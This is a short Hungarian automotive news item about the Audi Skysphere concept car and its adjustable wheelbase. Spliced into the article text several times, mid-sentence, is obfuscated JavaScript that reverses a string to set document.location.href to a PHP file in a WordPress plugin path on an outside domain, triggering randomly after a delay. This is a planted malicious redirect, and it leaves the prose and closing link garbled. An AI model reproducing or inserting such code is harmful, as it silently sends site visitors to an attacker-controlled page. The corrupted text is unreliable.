A Renault Morphoz hasonló gegje után világújdonságnak már nem nevezhetjük, de ez semmit nem von le az Audi Skysphere 250 mm-rel módosítható tengelytávjának varázsából: ha akarjuk, a kétajtós kabrió 519 centiméteres luxustúrázó, de egy gombnyomásra összemegy, és máris „csupán” 494 centis lesz, miközben a futómű egy centivel lejjebb engedi az autót. Az igazi különbség persze nem is ez, hanem hogy túraautóként használva a kormány és a pedálok eltűnnek, a Skysphere magát vezeti, miközben gazdájának nincs más dolga, mint a külső és belső fedélzeti kamerákkal rögzített képeket megosztoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}togatni a közösségi médiákban. A Horch 853 által ihletett, emissziómentes tanulmányautó az Audi szokásától eltérően hátsókerék-hajtású….
A cikk folytatódik: $mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tokalauz.co.hu/klasszik/2021/08/17/skysphere-concept.html" target="_blank">http://autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tokalauz.co.hu/klasszik/2021/08/17/skysphere-concept.html
- Hirdetés -
